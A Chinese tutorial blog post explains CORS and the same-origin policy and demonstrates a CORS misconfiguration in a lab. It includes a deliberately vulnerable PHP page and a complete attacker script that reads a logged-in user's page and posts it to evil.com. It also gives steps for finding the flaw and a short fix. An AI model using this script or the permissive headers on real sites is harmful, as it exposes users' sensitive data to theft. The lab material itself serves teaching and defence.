CORS跨域资源共享漏洞

最新推荐文章于 2025-06-17 15:39:19 发布

原创最新推荐文章于 2025-06-17 15:39:19 发布 · 5.6k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#CORS

渗透测试专栏收录该内容

66 篇文章

订阅专栏

跨域资源共享 (CORS) 是一种浏览器机制，可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。但是，如果网站的 CORS 策略配置和实施不当，它也会为基于跨域的攻击提供可能性。既然是跨域，那就先说说不跨域吧即同源策略

同源策略

SOP，同源策略 (Same Origin Policy)，该策略是浏览器的一个安全基石，如果没有同源策略，那么，你打开了一个合法网站，又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源，没有任何限制。

浏览器的同源策略规定：不同域的客户端脚本在没有明确授权的情况下，不能读写对方的资源。那么何为同源呢，即两个站点需要满足同协议，同域名，同端口这三个条件。

SOP是一个很好的策略，但是随着Web应用的发展，网站由于自身业务的需求，需要实现一些跨域的功能，能够让不同域的页面之间能够相互访问各自页面的内容。那什么是跨域了，跨域是指跨域名的访问，以下情况都属于跨域：

跨域原因说明	示例
域名不同	`www.jd.com` 与 `www.taobao.com`
域名相同，端口不同	`www.jd.com:8080` 与 `www.jd.com:8081`
二级域名不同	`item.jd.com` 与 `miaosha.jd.com`

如果域名和端口都相同，但是请求路径不同，不属于跨域，如：

www.jd.com/item
www.jd.com/goods

跨域访问的一些场景

1.比如后端开发完一部分业务代码后，提供接口给前端用，在前后端分离的模式下，前后端的域名是不一致的，此时就会发生跨域访问的问题。

2.程序员在本地做开发，本地的文件夹并不是在一个域下面，当一个文件需要发送ajax请求，请求另外一个页面的内容的时候，就会跨域。

3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。

4.子站域名希望调用主站域名的用户资料接口，并将数据显示出来。

跨域问题

跨域不一定会有跨域问题。因为跨域问题是浏览器对于ajax请求的一种安全限制：一个页面发起的ajax请求，只能是于当前页同域名的路径，这能有效的阻止跨站攻击。

因此：跨域问题是针对ajax的一种限制

但是这却给我们的开发带来了不变，而且在实际生产环境中，肯定会有很多台服务器之间交互，地址和端口都可能不同，怎么办？

解决跨域问题的方案

Jsonp

最早的解决方案，利用script标签可以跨域的原理实现。

限制：

需要服务的支持

只能发起GET请求

nginx反向代理

思路是：利用nginx反向代理把跨域为不跨域，支持各种请求方式

缺点：需要在nginx进行额外配置，语义不清晰
CORS

规范化的跨域请求解决方案，安全可靠。

优势：
- 在服务端进行控制是否允许跨域，可自定义规则
- 支持各种请求方式
缺点：
- 会产生额外的请求

我们这里会采用cors的跨域方案。

CORS

CORS，跨域资源共享（Cross-origin resource sharing），是H5提供的一种机制，它允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持。目前，所有浏览器都支持该功能，IE浏览器不能低于IE10。

浏览器端：

目前，所有浏览器都支持该功能（IE10以下不行）。整个CORS通信过程，都是浏览器自动完成，不需要用户参与。
服务端：

CORS通信与AJAX没有任何差别，因此你不需要改变以前的业务逻辑。只不过，浏览器会在请求中携带一些头信息，我们需要以此判断是否运行其跨域，然后在响应头中加入一些信息即可。这一般通过过滤器完成即可。

CORS原理

浏览器会将ajax请求分为两类，其处理方案略有差异：简单请求、特殊请求。

简单请求

只要同时满足以下两大条件，就属于简单请求。：

（1) 请求方法是以下三种方法之一：

HEAD
GET
POST

（2）HTTP的头信息不超出以下几种字段：

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

当浏览器发现ajax请求是简单请求时，会在请求头中携带一个字段：Origin.

Origin中会指出当前请求属于哪个域（协议+域名+端口）。服务器会根据这个值决定是否允许其跨域。

Access-Control-Allow-Origin: http://xxxx.com
Access-Control-Allow-Credentials: true
Content-Type: text/html; charset=utf-8

Access-Control-Allow-Origin：可接受的域，是一个具体域名或者*，代表任意
Access-Control-Allow-Credentials：是否允许携带cookie，默认情况下，cors不会携带cookie，除非这个值是true

注意：

如果跨域请求要想操作cookie，需要满足3个条件：

服务的响应头中需要携带Access-Control-Allow-Credentials并且为true。
浏览器发起ajax需要指定withCredentials 为true
响应头中的Access-Control-Allow-Origin一定不能为*，必须是指定的域名

特殊请求

不符合简单请求的条件，会被浏览器判定为特殊请求,，例如请求方式为PUT。

预检请求

特殊请求会在正式通信之前，增加一次HTTP查询请求，称为"预检"请求（preflight）。

浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复，浏览器才会发出正式的XMLHttpRequest请求，否则就报错。

一个“预检”请求的样板：

OPTIONS /cors HTTP/1.1
Origin: http://manage.leyou.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.leyou.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

与简单请求相比，除了Origin以外，多了两个头：

Access-Control-Request-Method：接下来会用到的请求方式，比如PUT
Access-Control-Request-Headers：会额外用到的头信息

服务器对预检请求的响应

服务收到预检请求，如果许可跨域，会发出响应：

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://manage.leyou.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Max-Age: 1728000
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

除了Access-Control-Allow-Origin和Access-Control-Allow-Credentials以外，这里又额外多出3个头：

Access-Control-Allow-Methods：允许访问的方式
Access-Control-Allow-Headers：允许携带的头
Access-Control-Max-Age：本次许可的有效时长，单位是秒，过期之前的ajax请求就无需再次进行预检了

如果浏览器得到上述响应，则认定为可以跨域，后续就跟简单请求的处理是一样的了。

CORS漏洞攻击流程

知道原理之后，我们看看CORS跨域导致用户信息泄漏是如何发生的

假设用户登陆一个含有CORS配置网站vuln.com，同时又访问了攻击者提供的一个链接evil.com。
evil.com的网站向vuln.com这个网站发起请求获取敏感数据，浏览器能否接收信息取决于vuln.com的配置。
如果vuln.com配置了Access-Control-Allow-Origin头且为预期，那么允许接收，否则浏览器会因为同源策略而不接收。

CORS漏洞案例演示

要想真正的清楚漏洞的原理，必须通过实验来理解！下面通过简单的代码来演示这个漏洞的发生过程。

192.168.43.52 www.vuln.com 存在cors漏洞的网站
192.168.110.129 www.eval.com hacker接收受害者网站cookie的站点

我们知道cookie设置httponly属性后，没办法被js读取，关于httponly传送门-》XSS漏洞获取cookie，我们把phpinfo页面当成是www.vlun.com上的用户信息。模拟用户登陆www.vuln.com/login.php，登录成功后跳转到www.vuln.com/secrect.php。

1. www.vuln.com ，存在cors漏洞的网站搭建

login.php 登录页面
check.php 判断是否成功登陆的页面，成功登陆后返回cookie
secret.php 登录成功后进入的页面，即用户的敏感信息所在页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>欢迎来到完美世界,请先进行登陆</title>
</head>
<body>
    <form action="check.php" method="post">
        用户名：<input type="text" name="name2">
        密码：  <input type="password" name="pass2">
        <input type="submit" value="登录">
    </form>
</body>
</html>

check.php

成功登陆后返回带有有httponly属性的cookie

<?php
    header("Content-type:text/html;charset=utf-8");    #解决php中中文乱码问题
	$a = "THISISSESSID20180802";
	$b = "THISISSESSIDhttponly20180802";
    if(!isset($_COOKIE['SESSIONid']) and !isset($_COOKIE['test_http'])){       #如果没有携带cookie则说明没有登陆，进入如下
        echo "<br/>";
		if(empty($_POST)){   #如果没有点击提交
			echo "<a href='index.php'>请先登录系统</a>";
		}else{    #否则的话说明进行了提交
			$name = $_POST["name2"];
			$pass = $_POST["pass2"];
			if($name == "admin" && $pass == "123456"){   #如果帐号密码正确则返回自定义cookie值
				echo "用户名密码正确";
				#setcookie("SESSIONid",$a,0,"","",0);  //设置普通Cookie
				setcookie("SESSIONid",$a,0,"","",0,1);//设置HttpOnly Cookie
                #setcoookie第三个值为0时，代表浏览器退出则cookie失效，第七个值代表是否设置httponly,值为1时代表设置
				header("Location: secret.php");      #直接进行一个跳转
			}else{
				echo "用户名或密码错误";
				echo "<a href='index.php'>请登录</a>";
		   }
		}
		
	}else{
		header("Location: secret.php"); 
	}
?>

secret.php

现在前两行代码是注释掉的

<?php
	header("Content-type:text/html;charset=utf-8"); 
    if(!isset($_COOKIE['SESSIONid'])){       #如果直接访问这个则拒绝
        echo "<br/>";
        echo "<a href='index.php'>请先登录系统</a>";
    }else{
        //header("Access-Control-Allow-Origin:http://192.168.110.129");
        //header("Access-Control-Allow-Credentials:true");
        phpinfo();
    }
?>

受害者正常登录了www.vuln.com网站

2. 受害者登录网站后，不小心点击了恶意网站www.eval.com/CORS/steal.html链接

该代码

首先向黑客自己的站点http://www.eval.com/CORS/steal.html发起请求
接着steal.html向受害者的www.vuln.php网站发起ajax请求，请求http://www.vuln.com/CORS/secret.php页面
最后再请求http://www.eval.com/CORS/save.php将secret.php中的页面信息进行保存到hacker自己的服务器中

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
   var xhr1;
   var xhr2;
   if(window.XMLHttpRequest)
   {
       xhr1 = new XMLHttpRequest();
       xhr2 = new XMLHttpRequest();
   }
   else
   {
       xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
       xhr2= new ActiveXObject("Microsoft.XMLHTTP");
   }
   xhr1.onreadystatechange=function()
   {
       if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
       {
           var datas=xhr1.responseText;
           xhr2.open("POST","http://www.evil.com/save.php","true");
           xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
           xhr2.send("T1="+escape(datas));      
       }
   }
   xhr1.open("GET","http://www.vuln.com/CORS/secret.php","true") //request user page.
   xhr1.withCredentials = true;        //request with cookie
   xhr1.send();
}
loadXMLDoc();
</script>
</html>

然后访问 http://www.eval.com/CORS/steal.html ，由于请求是从www.evil.com发出的，通过AJAX请求www.vuln.com的资源，所以，浏览器自动为我们加上了Origin这个字段。

而且我们可以发现，www.vuln.com/secrect.php这个请求其实是有返回内容的。

3. 浏览器进行跨域拦截

但是到了浏览器这边，却没有继续请求将返回的内容发送到www.evil.com/CORS/save.php，是因为浏览器拦截了该请求，提示没有CORS的头Access-Control-Allow-Origin。

4. 允许跨域请求

去除www.vuln.com/secrect.php的注释

<?php
	header("Content-type:text/html;charset=utf-8"); 
    if(!isset($_COOKIE['SESSIONid'])){       #如果直接访问这个则拒绝
        echo "<br/>";
        echo "<a href='index.php'>请先登录系统</a>";
    }else{
        header("Access-Control-Allow-Origin:http://www.evil.com");
        header("Access-Control-Allow-Credentials:true");
        phpinfo();
    }
?>

抓包发现请求www.vuln.com/CORS/secrect.php发现了对应的响应头。Access-Control-Allow-Origin指是允许访问的源，Access-Control-Allow-Credentials指的是允许带上cookie访问资源。这样浏览器就不会出错而拦截请求了，然后接着把受害则登录后的信息发送到www.evil.com/CORS/save.php去。

save.php将接受到的信息保存在secret.html中，漏洞利用成功

思考：

如果我们将代码secrect.php代码中的修改成别的域名了，如下

header("Access-Control-Allow-Origin:https://www.baidu.com");

我们再次请求，发现浏览器提示同源策略禁止读取位于 http://www.vuln.com/CORS/secret.php 的远程资源。（原因：CORS 头 'Access-Control-Allow-Origin' 不匹配，即漏洞服务器允许被请求的源服务器为baidu.com，而这里的origin为eval.com，不在所允许的范围内，所以拒绝将信息发送到hacker的服务器上。

要是我将如下改为*了， * 表示该资源谁都可以用

header("Access-Control-Allow-Origin:*");

在文章上面说了

所以再次尝漏洞试利用，漏洞依然利用不成功

将Access-Control-Allow-Origin设置为*不是允许任意源访问吗为什么还是会产生跨域问题了？

原因：在CORS中，Credential不接受http响应首部中的‘Access-Control-Allow-Origin’设置为通配符‘*’。这与使用credentials相悖。

CORS漏洞挖掘思考

我们平时该怎么去挖掘这种漏洞了？可以分两步

1. 查看响应头

查看ACAO响应头是否为具体的值以及ACAC响应头是否为true，如果是则判断是否对源进行限制

Access-Control-Allow-Origin: http://www.eval.com
Access-Control-Allow-Credentials: true

2. 判断是否对源进行限制

我们将origin修改为任意的站定，查看返回的ACAO头是否变成和我们修改成的站点一样，如果是，则可能存在CORS跨域资源共享。如下修改为baidu，ACAO也变为baidu，可能存在跨域问题。

3. 判断是否对Referer值进行校验，或者是否添加token

如下站点，上面说的那两个判断条件都成立，去除referer字段也没问题，但是这里存在token值

当我们把token值去掉时，显示登录过期，所以此cors漏洞无法利用

漏洞危害

经过上面的实验，我们知道如果一个页面存在cors漏洞那么可能：

1 . 敏感信息泄露

站点存在CORS共享问题，那么如果内部网络用户访问了恶意站点，恶意站点可以通过跨域请求来获取到内部站点的信息及cookie等凭证信息

漏洞修复

CORS漏洞主要是由于配置错误而引起的，可以配置Access-Control-Allow-Origin标头中指定的来源为受信任的站点

参考：CORS跨域漏洞的学习_weixin_45116657的博客-CSDN博客_cors跨域漏洞